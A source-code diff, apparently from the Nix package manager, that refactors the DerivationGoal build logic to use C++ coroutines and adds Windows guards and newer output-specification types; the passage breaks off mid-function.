DerivationGoal::outputsSubstitutionTried() { trace("all outputs substituted (maybe)"); - assert(drv->type().isPure()); + assert(!drv->type().isImpure()); if (nrFailed > 0 && nrFailed > nrNoSubstituters + nrIncompleteClosure && !settings.tryFallback) { - done(BuildResult::TransientFailure, {}, + co_return done(BuildResult::TransientFailure, {}, Error("some substitutes for the outputs of derivation '%s' failed (usually happens due to networking issues); try '--fallback' to build derivation from source ", worker.store.printStorePath(drvPath))); - return; } /* If the substitutes form an incomplete closure, then we should @@ -304,62 +292,101 @@ void DerivationGoal::outputsSubstitutionTried() In particular, it may be the case that the hole in the closure is an output of the current derivation, which causes a loop if retried. */ - if (nrIncompleteClosure > 0 && nrIncompleteClosure == nrFailed) retrySubstitution = true; + { + bool substitutionFailed = + nrIncompleteClosure > 0 && + nrIncompleteClosure == nrFailed; + switch (retrySubstitution) { + case RetrySubstitution::NoNeed: + if (substitutionFailed) + retrySubstitution = RetrySubstitution::YesNeed; + break; + case RetrySubstitution::YesNeed: + // Should not be able to reach this state from here. + assert(false); + break; + case RetrySubstitution::AlreadyRetried: + debug("substitution failed again, but we already retried once. Not retrying again."); + break; + } + } nrFailed = nrNoSubstituters = nrIncompleteClosure = 0; - if (needRestart) { - needRestart = false; - haveDerivation(); - return; + if (needRestart == NeedRestartForMoreOutputs::OutputsAddedDoNeed) { + needRestart = NeedRestartForMoreOutputs::OutputsUnmodifedDontNeed; + co_return haveDerivation(); } auto [allValid, validOutputs] = checkPathValidity(); if (buildMode == bmNormal && allValid) { - done(BuildResult::Substituted, std::move(validOutputs)); - return; + co_return done(BuildResult::Substituted, std::move(validOutputs)); } if (buildMode == bmRepair && allValid) { - repairClosure(); - return; + co_return repairClosure(); } if (buildMode == bmCheck && !allValid) throw Error("some outputs of '%s' are not valid, so checking is not possible", worker.store.printStorePath(drvPath)); /* Nothing to wait for; tail call */ - gaveUpOnSubstitution(); + co_return gaveUpOnSubstitution(); } /* At least one of the output paths could not be produced using a substitute. So we have to build instead. */ -void DerivationGoal::gaveUpOnSubstitution() +Goal::Co DerivationGoal::gaveUpOnSubstitution() { + /* At this point we are building all outputs, so if more are wanted there + is no need to restart. */ + needRestart = NeedRestartForMoreOutputs::BuildInProgressWillNotNeed; + /* The inputs must be built before we can build this goal. */ inputDrvOutputs.clear(); - if (useDerivation) - for (auto & i : dynamic_cast(drv.get())->inputDrvs) { + if (useDerivation) { + std::function, const DerivedPathMap::ChildNode &)> addWaiteeDerivedPath; + + addWaiteeDerivedPath = [&](ref inputDrv, const DerivedPathMap::ChildNode & inputNode) { + if (!inputNode.value.empty()) + addWaitee(worker.makeGoal( + DerivedPath::Built { + .drvPath = inputDrv, + .outputs = inputNode.value, + }, + buildMode == bmRepair ? bmRepair : bmNormal)); + for (const auto & [outputName, childNode] : inputNode.childMap) + addWaiteeDerivedPath( + make_ref(SingleDerivedPath::Built { inputDrv, outputName }), + childNode); + }; + + for (const auto & [inputDrvPath, inputNode] : dynamic_cast(drv.get())->inputDrvs.map) { /* Ensure that pure, non-fixed-output derivations don't depend on impure derivations. */ - if (settings.isExperimentalFeatureEnabled(Xp::ImpureDerivations) && drv->type().isPure() && !drv->type().isFixed()) { - auto inputDrv = worker.evalStore.readDerivation(i.first); - if (!inputDrv.type().isPure()) + if (experimentalFeatureSettings.isEnabled(Xp::ImpureDerivations) && !drv->type().isImpure() && !drv->type().isFixed()) { + auto inputDrv = worker.evalStore.readDerivation(inputDrvPath); + if (inputDrv.type().isImpure()) throw Error("pure derivation '%s' depends on impure derivation '%s'", worker.store.printStorePath(drvPath), - worker.store.printStorePath(i.first)); + worker.store.printStorePath(inputDrvPath)); } - addWaitee(worker.makeDerivationGoal(i.first, i.second, buildMode == bmRepair ? bmRepair : bmNormal)); + addWaiteeDerivedPath(makeConstantStorePathRef(inputDrvPath), inputNode); } + } /* Copy the input sources from the eval store to the build - store. */ + store. + + Note that some inputs might not be in the eval store because they + are (resolved) derivation outputs in a resolved derivation. */ if (&worker.evalStore != &worker.store) { RealisedPath::Set inputSrcs; for (auto & i : drv->inputSrcs) - inputSrcs.insert(i); + if (worker.evalStore.isValidPath(i)) + inputSrcs.insert(i); copyClosure(worker.evalStore, worker.store, inputSrcs); } @@ -371,16 +398,14 @@ void DerivationGoal::gaveUpOnSubstitution() addWaitee(upcast_goal(worker.makePathSubstitutionGoal(i))); } - if (waitees.empty()) /* to prevent hang (no wake-up event) */ - inputsRealised(); - else - state = &DerivationGoal::inputsRealised; + if (!waitees.empty()) co_await Suspend{}; /* to prevent hang (no wake-up event) */ + co_return inputsRealised(); } -void DerivationGoal::repairClosure() +Goal::Co DerivationGoal::repairClosure() { - assert(drv->type().isPure()); + assert(!drv->type().isImpure()); /* If we're repairing, we now know that our own outputs are valid. Now check whether the other paths in the outputs closure are @@ -391,7 +416,7 @@ void DerivationGoal::repairClosure() auto outputs = queryDerivationOutputMap(); StorePathSet outputClosure; for (auto & i : outputs) { - if (!wantOutput(i.first, wantedOutputs)) continue; + if (!wantedOutputs.contains(i.first)) continue; worker.store.computeFSClosure(i.second, outputClosure); } @@ -407,7 +432,7 @@ void DerivationGoal::repairClosure() std::map outputsToDrv; for (auto & i : inputClosure) if (i.isDerivation()) { - auto depOutputs = worker.store.queryPartialDerivationOutputMap(i); + auto depOutputs = worker.store.queryPartialDerivationOutputMap(i, &worker.evalStore); for (auto & j : depOutputs) if (j.second) outputsToDrv.insert_or_assign(*j.second, i); @@ -423,45 +448,48 @@ void DerivationGoal::repairClosure() if (drvPath2 == outputsToDrv.end()) addWaitee(upcast_goal(worker.makePathSubstitutionGoal(i, Repair))); else - addWaitee(worker.makeDerivationGoal(drvPath2->second, StringSet(), bmRepair)); + addWaitee(worker.makeGoal( + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(drvPath2->second), + .outputs = OutputsSpec::All { }, + }, + bmRepair)); } if (waitees.empty()) { - done(BuildResult::AlreadyValid, assertPathValidity()); - return; + co_return done(BuildResult::AlreadyValid, assertPathValidity()); + } else { + co_await Suspend{}; + co_return closureRepaired(); } - - state = &DerivationGoal::closureRepaired; } -void DerivationGoal::closureRepaired() +Goal::Co DerivationGoal::closureRepaired() { trace("closure repaired"); if (nrFailed > 0) throw Error("some paths in the output closure of derivation '%s' could not be repaired", worker.store.printStorePath(drvPath)); - done(BuildResult::AlreadyValid, assertPathValidity()); + co_return done(BuildResult::AlreadyValid, assertPathValidity()); } -void DerivationGoal::inputsRealised() +Goal::Co DerivationGoal::inputsRealised() { trace("all inputs realised"); if (nrFailed != 0) { if (!useDerivation) throw Error("some dependencies of '%s' are missing", worker.store.printStorePath(drvPath)); - done(BuildResult::DependencyFailed, {}, Error( + co_return done(BuildResult::DependencyFailed, {}, Error( "%s dependencies of derivation '%s' failed to build", nrFailed, worker.store.printStorePath(drvPath))); - return; } - if (retrySubstitution && !retriedSubstitution) { - retriedSubstitution = true; - haveDerivation(); - return; + if (retrySubstitution == RetrySubstitution::YesNeed) { + retrySubstitution = RetrySubstitution::AlreadyRetried; + co_return haveDerivation(); } /* Gather information necessary for computing the closure and/or @@ -480,11 +508,11 @@ void DerivationGoal::inputsRealised() return ia.deferred; }, [&](const DerivationType::ContentAddressed & ca) { - return !fullDrv.inputDrvs.empty() && ( + return !fullDrv.inputDrvs.map.empty() && ( ca.fixed /* Can optionally resolve if fixed, which is good for avoiding unnecessary rebuilds. */ - ? settings.isExperimentalFeatureEnabled(Xp::CaDerivations) + ? experimentalFeatureSettings.isEnabled(Xp::CaDerivations) /* Must resolve if floating and there are any inputs drvs. */ : true); @@ -492,10 +520,10 @@ void DerivationGoal::inputsRealised() [&](const DerivationType::Impure &) { return true; } - }, drvType.raw()); + }, drvType.raw); - if (resolveDrv && !fullDrv.inputDrvs.empty()) { - settings.requireExperimentalFeature(Xp::CaDerivations); + if (resolveDrv && !fullDrv.inputDrvs.map.empty()) { + experimentalFeatureSettings.require(Xp::CaDerivations); /* We are be able to resolve this derivation based on the now-known results of dependencies. If so, we become a @@ -507,10 +535,10 @@ void DerivationGoal::inputsRealised() inputDrvOutputs statefully, sometimes it gets out of sync with the real source of truth (store). So we query the store directly if there's a problem. */ - attempt = fullDrv.tryResolve(worker.store); + attempt = fullDrv.tryResolve(worker.store, &worker.evalStore); } assert(attempt); - Derivation drvResolved { *std::move(attempt) }; + Derivation drvResolved { std::move(*attempt) }; auto pathResolved = writeDerivation(worker.store, drvResolved); @@ -527,15 +555,17 @@ void DerivationGoal::inputsRealised() pathResolved, wantedOutputs, buildMode); addWaitee(resolvedDrvGoal); - state = &DerivationGoal::resolvedFinished; - return; + co_await Suspend{}; + co_return resolvedFinished(); } - for (auto & [depDrvPath, wantedDepOutputs] : fullDrv.inputDrvs) { + std::function::ChildNode &)> accumInputPaths; + + accumInputPaths = [&](const StorePath & depDrvPath, const DerivedPathMap::ChildNode & inputNode) { /* Add the relevant output closures of the input derivation `i' as input paths. Only add the closures of output paths that are specified as inputs. */ - for (auto & j : wantedDepOutputs) { + auto getOutput = [&](const std::string & outputName) { /* TODO (impure derivations-induced tech debt): Tracking input derivation outputs statefully through the goals is error prone and has led to bugs. @@ -545,22 +575,38 @@ void DerivationGoal::inputsRealised() However, the impure derivations feature still relies on this fragile way of doing things, because its builds do not have a representation in the store, which is a usability problem - in itself */ - if (auto outPath = get(inputDrvOutputs, { depDrvPath, j })) { - worker.store.computeFSClosure(*outPath, inputPaths); + in itself. When implementing this logic entirely with lookups + make sure that they're cached. */ + if (auto outPath = get(inputDrvOutputs, { depDrvPath, outputName })) { + return *outPath; } else { - auto outMap = worker.evalStore.queryDerivationOutputMap(depDrvPath); - auto outMapPath = outMap.find(j); + auto outMap = [&]{ + for (auto * drvStore : { &worker.evalStore, &worker.store }) + if (drvStore->isValidPath(depDrvPath)) + return worker.store.queryDerivationOutputMap(depDrvPath, drvStore); + assert(false); + }(); + + auto outMapPath = outMap.find(outputName); if (outMapPath == outMap.end()) { throw Error( "derivation '%s' requires non-existent output '%s' from input derivation '%s'", - worker.store.printStorePath(drvPath), j, worker.store.printStorePath(depDrvPath)); + worker.store.printStorePath(drvPath), outputName, worker.store.printStorePath(depDrvPath)); } - worker.store.computeFSClosure(outMapPath->second, inputPaths); + return outMapPath->second; } - } - } + }; + + for (auto & outputName : inputNode.value) + worker.store.computeFSClosure(getOutput(outputName), inputPaths); + + for (auto & [outputName, childNode] : inputNode.childMap) + accumInputPaths(getOutput(outputName), childNode); + }; + + for (auto & [depDrvPath, depNode] : fullDrv.inputDrvs.map) + accumInputPaths(depDrvPath, depNode); } /* Second, the input sources. */ @@ -574,10 +620,9 @@ void DerivationGoal::inputsRealised() /* Okay, try to build. Note that here we don't wait for a build slot to become available, since we don't need one if there is a build hook. */ - state = &DerivationGoal::tryToBuild; worker.wakeUp(shared_from_this()); - - buildResult = BuildResult { .path = buildResult.path }; + co_await Suspend{}; + co_return tryToBuild(); } void DerivationGoal::started() @@ -587,14 +632,22 @@ void DerivationGoal::started() buildMode == bmCheck ? "checking outputs of '%s'" : "building '%s'", worker.store.printStorePath(drvPath)); fmt("building '%s'", worker.store.printStorePath(drvPath)); +#ifndef _WIN32 // TODO enable build hook on Windows if (hook) msg += fmt(" on '%s'", machineName); +#endif act = std::make_unique(*logger, lvlInfo, actBuild, msg, - Logger::Fields{worker.store.printStorePath(drvPath), hook ? machineName : "", 1, 1}); + Logger::Fields{worker.store.printStorePath(drvPath), +#ifndef _WIN32 // TODO enable build hook on Windows + hook ? machineName : +#endif + "", + 1, + 1}); mcRunningBuilds = std::make_unique>(worker.runningBuilds); worker.updateProgress(); } -void DerivationGoal::tryToBuild() +Goal::Co DerivationGoal::tryToBuild() { trace("trying to build"); @@ -628,9 +681,10 @@ void DerivationGoal::tryToBuild() if (!outputLocks.lockPaths(lockFiles, "", false)) { if (!actLock) actLock = std::make_unique(*logger, lvlWarn, actBuildWaiting, - fmt("waiting for lock on %s", yellowtxt(showPaths(lockFiles)))); + fmt("waiting for lock on %s", Magenta(showPaths(lockFiles)))); worker.waitForAWhile(shared_from_this()); - return; + co_await Suspend{}; + co_return tryToBuild(); } actLock.reset(); @@ -647,8 +701,7 @@ void DerivationGoal::tryToBuild() if (buildMode != bmCheck && allValid) { debug("skipping build of derivation '%s', someone beat us to it", worker.store.printStorePath(drvPath)); outputLocks.setDeletion(true); - done(BuildResult::AlreadyValid, std::move(validOutputs)); - return; + co_return done(BuildResult::AlreadyValid, std::move(validOutputs)); } /* If any of the outputs already exist but are not valid, delete @@ -674,18 +727,19 @@ void DerivationGoal::tryToBuild() EOF from the hook. */ actLock.reset(); buildResult.startTime = time(0); // inexact - state = &DerivationGoal::buildDone; started(); - return; + co_await Suspend{}; + co_return buildDone(); case rpPostpone: /* Not now; wait until at least one child finishes or the wake-up timeout expires. */ if (!actLock) actLock = std::make_unique(*logger, lvlWarn, actBuildWaiting, - fmt("waiting for a machine to build '%s'", yellowtxt(worker.store.printStorePath(drvPath)))); + fmt("waiting for a machine to build '%s'", Magenta(worker.store.printStorePath(drvPath)))); worker.waitForAWhile(shared_from_this()); outputLocks.unlock(); - return; + co_await Suspend{}; + co_return tryToBuild(); case rpDecline: /* We should do it ourselves. */ break; @@ -694,15 +748,20 @@ void DerivationGoal::tryToBuild() actLock.reset(); - state = &DerivationGoal::tryLocalBuild; worker.wakeUp(shared_from_this()); + co_await Suspend{}; + co_return tryLocalBuild(); } -void DerivationGoal::tryLocalBuild() { +Goal::Co DerivationGoal::tryLocalBuild() { throw Error( - "unable to build with a primary store that isn't a local store; " - "either pass a different '--store' or enable remote builds." - "\nhttps://nixos.org/manual/nix/stable/advanced-topics/distributed-builds.html"); + R"( + Unable to build with a primary store that isn't a local store; + either pass a different '--store' or enable remote builds. + + For more information check 'man nix.conf' and search for '/machines'. + )" + ); } @@ -720,12 +779,18 @@ static void movePath(const Path & src, const Path & dst) { auto st = lstat(src); - bool changePerm = (geteuid() && S_ISDIR(st.st_mode) && !(st.st_mode & S_IWUSR)); + bool changePerm = ( +#ifndef _WIN32 + geteuid() +#else + !isRootUser() +#endif + && S_ISDIR(st.st_mode) && !(st.st_mode & S_IWUSR)); if (changePerm) chmod_(src, st.st_mode | S_IWUSR); - renameFile(src, dst); + std::filesystem::rename(src, dst); if (changePerm) chmod_(dst, st.st_mode); @@ -738,7 +803,7 @@ void replaceValidPath(const Path & storePath, const Path & tmpPath) tmpPath (the replacement), so we have to move it out of the way first. We'd better not be interrupted here, because if we're repairing (say) Glibc, we end up with a broken system. */ - Path oldPath = (format("%1%.old-%2%-%3%") % storePath % getpid() % random()).str(); + Path oldPath = fmt("%1%.old-%2%-%3%", storePath, getpid(), rand()); if (pathExists(storePath)) movePath(storePath, oldPath); @@ -760,14 +825,20 @@ void replaceValidPath(const Path & storePath, const Path & tmpPath) int DerivationGoal::getChildStatus() { +#ifndef _WIN32 // TODO enable build hook on Windows return hook->pid.kill(); +#else + return 0; +#endif } void DerivationGoal::closeReadPipes() { - hook->builderOut.readSide = -1; - hook->fromHook.readSide = -1; +#ifndef _WIN32 // TODO enable build hook on Windows + hook->builderOut.readSide.close(); + hook->fromHook.readSide.close(); +#endif } @@ -811,7 +882,7 @@ void runPostBuildHook( if (hook == "") return; - Activity act(logger, lvlInfo, actPostBuildHook, + Activity act(logger, lvlTalkative, actPostBuildHook, fmt("running post-build-hook '%s'", settings.postBuildHook), Logger::Fields{store.printStorePath(drvPath)}); PushActivity pact(act.id); @@ -859,7 +930,7 @@ void runPostBuildHook( }); } -void DerivationGoal::buildDone() +Goal::Co DerivationGoal::buildDone() { trace("build done"); @@ -907,7 +978,7 @@ void DerivationGoal::buildDone() diskFull |= cleanupDecideWhetherDiskFull(); auto msg = fmt("builder for '%s' %s", - yellowtxt(worker.store.printStorePath(drvPath)), + Magenta(worker.store.printStorePath(drvPath)), statusToString(status)); if (!logger->isVerbose() && !logTail.empty()) { @@ -917,7 +988,11 @@ void DerivationGoal::buildDone() msg += line; msg += "\n"; } - msg += fmt("For full logs, run '" ANSI_BOLD "nix log %s" ANSI_NORMAL "'.", + auto nixLogCommand = experimentalFeatureSettings.isEnabled(Xp::NixCommand) + ? "nix log" + : "nix-store -l"; + msg += fmt("For full logs, run '" ANSI_BOLD "%s %s" ANSI_NORMAL "'.", + nixLogCommand, worker.store.printStorePath(drvPath)); } @@ -950,33 +1025,36 @@ void DerivationGoal::buildDone() outputLocks.setDeletion(true); outputLocks.unlock(); - done(BuildResult::Built, std::move(builtOutputs)); + co_return done(BuildResult::Built, std::move(builtOutputs)); } catch (BuildError & e) { outputLocks.unlock(); BuildResult::Status st = BuildResult::MiscFailure; +#ifndef _WIN32 // TODO abstract over proc exit status if (hook && WIFEXITED(status) && WEXITSTATUS(status) == 101) st = BuildResult::TimedOut; else if (hook && (!WIFEXITED(status) || WEXITSTATUS(status) != 100)) { } - else { + else +#endif + { + assert(derivationType); st = dynamic_cast(&e) ? BuildResult::NotDeterministic : statusOk(status) ? BuildResult::OutputRejected : - !derivationType.isSandboxed() || diskFull ? BuildResult::TransientFailure : + !derivationType->isSandboxed() || diskFull ? BuildResult::TransientFailure : BuildResult::PermanentFailure; } - done(st, {}, std::move(e)); - return; + co_return done(st, {}, std::move(e)); } } -void DerivationGoal::resolvedFinished() +Goal::Co DerivationGoal::resolvedFinished() { trace("resolved derivation finished"); @@ -984,53 +1062,52 @@ void DerivationGoal::resolvedFinished() auto resolvedDrv = *resolvedDrvGoal->drv; auto & resolvedResult = resolvedDrvGoal->buildResult; - DrvOutputs builtOutputs; + SingleDrvOutputs builtOutputs; if (resolvedResult.success()) { auto resolvedHashes = staticOutputHashes(worker.store, resolvedDrv); StorePathSet outputPaths; - // `wantedOutputs` might be empty, which means “all the outputs” - auto realWantedOutputs = wantedOutputs; - if (realWantedOutputs.empty()) - realWantedOutputs = resolvedDrv.outputNames(); - - for (auto & wantedOutput : realWantedOutputs) { - auto initialOutput = get(initialOutputs, wantedOutput); - auto resolvedHash = get(resolvedHashes, wantedOutput); + for (auto & outputName : resolvedDrv.outputNames()) { + auto initialOutput = get(initialOutputs, outputName); + auto resolvedHash = get(resolvedHashes, outputName); if ((!initialOutput) || (!resolvedHash)) throw Error( "derivation '%s' doesn't have expected output '%s' (derivation-goal.cc/resolvedFinished,resolve)", - worker.store.printStorePath(drvPath), wantedOutput); + worker.store.printStorePath(drvPath), outputName); auto realisation = [&]{ - auto take1 = get(resolvedResult.builtOutputs, DrvOutput { *resolvedHash, wantedOutput }); + auto take1 = get(resolvedResult.builtOutputs, outputName); if (take1) return *take1; /* The above `get` should work. But sateful tracking of outputs in resolvedResult, this can get out of sync with the store, which is our actual source of truth. For now we just check the store directly if it fails. */ - auto take2 = worker.evalStore.queryRealisation(DrvOutput { *resolvedHash, wantedOutput }); + auto take2 = worker.evalStore.queryRealisation(DrvOutput { *resolvedHash, outputName }); if (take2) return *take2; throw Error( "derivation '%s' doesn't have expected output '%s' (derivation-goal.cc/resolvedFinished,realisation)", - worker.store.printStorePath(resolvedDrvGoal->drvPath), wantedOutput); + worker.store.printStorePath(resolvedDrvGoal->drvPath), outputName); }(); - if (drv->type().isPure()) { + if (!drv->type().isImpure()) { auto newRealisation = realisation; - newRealisation.id = DrvOutput { initialOutput->outputHash, wantedOutput }; + newRealisation.id = DrvOutput { initialOutput->outputHash, outputName }; newRealisation.signatures.clear(); - if (!drv->type().isFixed()) - newRealisation.dependentRealisations = drvOutputReferences(worker.store, *drv, realisation.outPath); + if (!drv->type().isFixed()) { + auto & drvStore = worker.evalStore.isValidPath(drvPath) + ? worker.evalStore + : worker.store; + newRealisation.dependentRealisations = drvOutputReferences(worker.store, *drv, realisation.outPath, &drvStore); + } signRealisation(newRealisation); worker.store.registerDrvOutput(newRealisation); } outputPaths.insert(realisation.outPath); - builtOutputs.emplace(realisation.id, realisation); + builtOutputs.emplace(outputName, realisation); } runPostBuildHook( @@ -1045,12 +1122,15 @@ void DerivationGoal::resolvedFinished() if (status == BuildResult::AlreadyValid) status = BuildResult::ResolvesToAlreadyValid; - done(status, std::move(builtOutputs)); + co_return done(status, std::move(builtOutputs)); } HookReply DerivationGoal::tryBuildHook() { - if (!worker.tryBuildHook || !useDerivation) return rpDecline; +#ifdef _WIN32 // TODO enable build hook on Windows + return rpDecline; +#else + if (settings.buildHook.get().empty() || !worker.tryBuildHook || !useDerivation) return rpDecline; if (!worker.hook) worker.hook = std::make_unique(); @@ -1124,9 +1204,11 @@ HookReply DerivationGoal::tryBuildHook() throw; } + CommonProto::WriteConn conn { hook->sink }; + /* Tell the hook all the inputs that have to be copied to the remote system. */ - worker_proto::write(worker.store, hook->sink, inputPaths); + CommonProto::write(worker.store, conn, inputPaths); /* Tell the hooks the missing outputs that have to be copied back from the remote system. */ @@ -1137,25 +1219,26 @@ HookReply DerivationGoal::tryBuildHook() if (buildMode != bmCheck && status.known && status.known->isValid()) continue; missingOutputs.insert(outputName); } - worker_proto::write(worker.store, hook->sink, missingOutputs); + CommonProto::write(worker.store, conn, missingOutputs); } hook->sink = FdSink(); - hook->toHook.writeSide = -1; + hook->toHook.writeSide.close(); /* Create the log file and pipe. */ Path logFile = openLogFile(); - std::set fds; + std::set fds; fds.insert(hook->fromHook.readSide.get()); fds.insert(hook->builderOut.readSide.get()); worker.childStarted(shared_from_this(), fds, false, false); return rpAccept; +#endif } -DrvOutputs DerivationGoal::registerOutputs() +SingleDrvOutputs DerivationGoal::registerOutputs() { /* When using a build hook, the build hook can register the output as valid (by doing `nix-store --import'). If so we don't have @@ -1187,7 +1270,11 @@ Path DerivationGoal::openLogFile() Path logFileName = fmt("%s/%s%s", dir, baseName.substr(2), settings.compressLog ? ".bz2" : ""); - fdLogFile = open(logFileName.c_str(), O_CREAT | O_WRONLY | O_TRUNC | O_CLOEXEC, 0666); + fdLogFile = toDescriptor(open(logFileName.c_str(), O_CREAT | O_WRONLY | O_TRUNC +#ifndef _WIN32 + | O_CLOEXEC +#endif + , 0666)); if (!fdLogFile) throw SysError("creating log file '%1%'", logFileName); logFileSink = std::make_shared(fdLogFile.get()); @@ -1207,16 +1294,20 @@ void DerivationGoal::closeLogFile() if (logSink2) logSink2->finish(); if (logFileSink) logFileSink->flush(); logSink = logFileSink = 0; - fdLogFile = -1; + fdLogFile.close(); } -bool DerivationGoal::isReadDesc(int fd) +bool DerivationGoal::isReadDesc(Descriptor fd) { +#ifdef _WIN32 // TODO enable build hook on Windows + return false; +#else return fd == hook->builderOut.readSide.get(); +#endif } -void DerivationGoal::handleChildOutput(int fd, std::string_view data) +void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) { // local & `ssh://`-builds are dealt with here. auto isWrittenToLog = isReadDesc(fd); @@ -1225,7 +1316,9 @@ void DerivationGoal::handleChildOutput(int fd, std::string_view data) logSize += data.size(); if (settings.maxLogSize && logSize > settings.maxLogSize) { killChild(); - done( + // We're not inside a coroutine, hence we can't use co_return here. + // Thus we ignore the return value. + [[maybe_unused]] Done _ = done( BuildResult::LogLimitExceeded, {}, Error("%s killed after writing more than %d bytes of log output", getName(), settings.maxLogSize)); @@ -1246,6 +1339,7 @@ void DerivationGoal::handleChildOutput(int fd, std::string_view data) if (logSink) (*logSink)(data); } +#ifndef _WIN32 // TODO enable build hook on Windows if (hook && fd == hook->fromHook.readSide.get()) { for (auto c : data) if (c == '\n') { @@ -1254,19 +1348,37 @@ void DerivationGoal::handleChildOutput(int fd, std::string_view data) auto s = handleJSONLogMessage(*json, worker.act, hook->activities, true); // ensure that logs from a builder using `ssh-ng://` as protocol // are also available to `nix log`. - if (s && !isWrittenToLog && logSink && (*json)["type"] == resBuildLogLine) { - auto f = (*json)["fields"]; - (*logSink)((f.size() > 0 ? f.at(0).get() : "") + "\n"); + if (s && !isWrittenToLog && logSink) { + const auto type = (*json)["type"]; + const auto fields = (*json)["fields"]; + if (type == resBuildLogLine) { + (*logSink)((fields.size() > 0 ? fields[0].get() : "") + "\n"); + } else if (type == resSetPhase && ! fields.is_null()) { + const auto phase = fields[0]; + if (! phase.is_null()) { + // nixpkgs' stdenv produces lines in the log to signal + // phase changes. + // We want to get the same lines in case of remote builds. + // The format is: + // @nix { "action": "setPhase", "phase": "$curPhase" } + const auto logLine = nlohmann::json::object({ + {"action", "setPhase"}, + {"phase", phase} + }); + (*logSink)("@nix " + logLine.dump(-1, ' ', false, nlohmann::json::error_handler_t::replace) + "\n"); + } + } } } currentHookLine.clear(); } else currentHookLine += c; } +#endif } -void DerivationGoal::handleEOF(int fd) +void DerivationGoal::handleEOF(Descriptor fd) { if (!currentLogLine.empty()) flushLine(); worker.wakeUp(shared_from_this()); @@ -1292,38 +1404,51 @@ void DerivationGoal::flushLine() std::map> DerivationGoal::queryPartialDerivationOutputMap() { - assert(drv->type().isPure()); + assert(!drv->type().isImpure()); if (!useDerivation || drv->type().hasKnownOutputPaths()) { std::map> res; for (auto & [name, output] : drv->outputs) res.insert_or_assign(name, output.path(worker.store, drv->name, name)); return res; } else { - return worker.store.queryPartialDerivationOutputMap(drvPath); + for (auto * drvStore : { &worker.evalStore, &worker.store }) + if (drvStore->isValidPath(drvPath)) + return worker.store.queryPartialDerivationOutputMap(drvPath, drvStore); + assert(false); } } OutputPathMap DerivationGoal::queryDerivationOutputMap() { - assert(drv->type().isPure()); + assert(!drv->type().isImpure()); if (!useDerivation || drv->type().hasKnownOutputPaths()) { OutputPathMap res; for (auto & [name, output] : drv->outputsAndOptPaths(worker.store)) res.insert_or_assign(name, *output.second); return res; } else { - return worker.store.queryDerivationOutputMap(drvPath); + for (auto * drvStore : { &worker.evalStore, &worker.store }) + if (drvStore->isValidPath(drvPath)) + return worker.store.queryDerivationOutputMap(drvPath, drvStore); + assert(false); } } -std::pair DerivationGoal::checkPathValidity() +std::pair DerivationGoal::checkPathValidity() { - if (!drv->type().isPure()) return { false, {} }; + if (drv->type().isImpure()) return { false, {} }; bool checkHash = buildMode == bmRepair; - auto wantedOutputsLeft = wantedOutputs; - DrvOutputs validOutputs; + auto wantedOutputsLeft = std::visit(overloaded { + [&](const OutputsSpec::All &) { + return StringSet {}; + }, + [&](const OutputsSpec::Names & names) { + return static_cast(names); + }, + }, wantedOutputs.raw); + SingleDrvOutputs validOutputs; for (auto & i : queryPartialDerivationOutputMap()) { auto initialOutput = get(initialOutputs, i.first); @@ -1331,7 +1456,7 @@ std::pair DerivationGoal::checkPathValidity() // this is an invalid output, gets catched with (!wantedOutputsLeft.empty()) continue; auto & info = *initialOutput; - info.wanted = wantOutput(i.first, wantedOutputs); + info.wanted = wantedOutputs.contains(i.first); if (info.wanted) wantedOutputsLeft.erase(i.first); if (i.second) { @@ -1346,7 +1471,7 @@ std::pair DerivationGoal::checkPathValidity() }; } auto drvOutput = DrvOutput{info.outputHash, i.first}; - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) { + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { if (auto real = worker.store.queryRealisation(drvOutput)) { info.known = { .path = real->outPath, @@ -1365,11 +1490,11 @@ std::pair DerivationGoal::checkPathValidity() ); } } - if (info.wanted && info.known && info.known->isValid()) - validOutputs.emplace(drvOutput, Realisation { drvOutput, info.known->path }); + if (info.known && info.known->isValid()) + validOutputs.emplace(i.first, Realisation { drvOutput, info.known->path }); } - // If we requested all the outputs via the empty set, we are always fine. + // If we requested all the outputs, we are always fine. // If we requested specific elements, the loop above removes all the valid // ones, so any that are left must be invalid. if (!wantedOutputsLeft.empty()) @@ -1390,7 +1515,7 @@ std::pair DerivationGoal::checkPathValidity() } -DrvOutputs DerivationGoal::assertPathValidity() +SingleDrvOutputs DerivationGoal::assertPathValidity() { auto [allValid, validOutputs] = checkPathValidity(); if (!allValid) @@ -1399,14 +1524,15 @@ DrvOutputs DerivationGoal::assertPathValidity() } -void DerivationGoal::done( +Goal::Done DerivationGoal::done( BuildResult::Status status, - DrvOutputs builtOutputs, + SingleDrvOutputs builtOutputs, std::optional ex) { + outputLocks.unlock(); buildResult.status = status; if (ex) - buildResult.errorMsg = fmt("%s", normaltxt(ex->info().msg)); + buildResult.errorMsg = fmt("%s", Uncolored(ex->info().msg)); if (buildResult.status == BuildResult::TimedOut) worker.timedOut = true; if (buildResult.status == BuildResult::PermanentFailure) @@ -1416,8 +1542,9 @@ void DerivationGoal::done( mcRunningBuilds.reset(); if (buildResult.success()) { - assert(!builtOutputs.empty()); - buildResult.builtOutputs = std::move(builtOutputs); + auto wantedBuiltOutputs = filterDrvOutputs(wantedOutputs, std::move(builtOutputs)); + assert(!wantedBuiltOutputs.empty()); + buildResult.builtOutputs = std::move(wantedBuiltOutputs); if (status == BuildResult::Built) worker.doneBuilds++; } else { @@ -1434,7 +1561,7 @@ void DerivationGoal::done( fs << worker.store.printStorePath(drvPath) << "\t" << buildResult.toString() << std::endl; } - amDone(buildResult.success() ? ecSuccess : ecFailed, std::move(ex)); + return amDone(buildResult.success() ? ecSuccess : ecFailed, std::move(ex)); } @@ -1442,12 +1569,29 @@ void DerivationGoal::waiteeDone(GoalPtr waitee, ExitCode result) { Goal::waiteeDone(waitee, result); - if (waitee->buildResult.success()) - if (auto bfd = std::get_if(&waitee->buildResult.path)) - for (auto & [output, realisation] : waitee->buildResult.builtOutputs) + if (!useDerivation || !drv) return; + auto & fullDrv = *dynamic_cast(drv.get()); + + auto * dg = dynamic_cast(&*waitee); + if (!dg) return; + + auto * nodeP = fullDrv.inputDrvs.findSlot(DerivedPath::Opaque { .path = dg->drvPath }); + if (!nodeP) return; + auto & outputs = nodeP->value; + + for (auto & outputName : outputs) { + auto buildResult = dg->getBuildResult(DerivedPath::Built { + .drvPath = makeConstantStorePathRef(dg->drvPath), + .outputs = OutputsSpec::Names { outputName }, + }); + if (buildResult.success()) 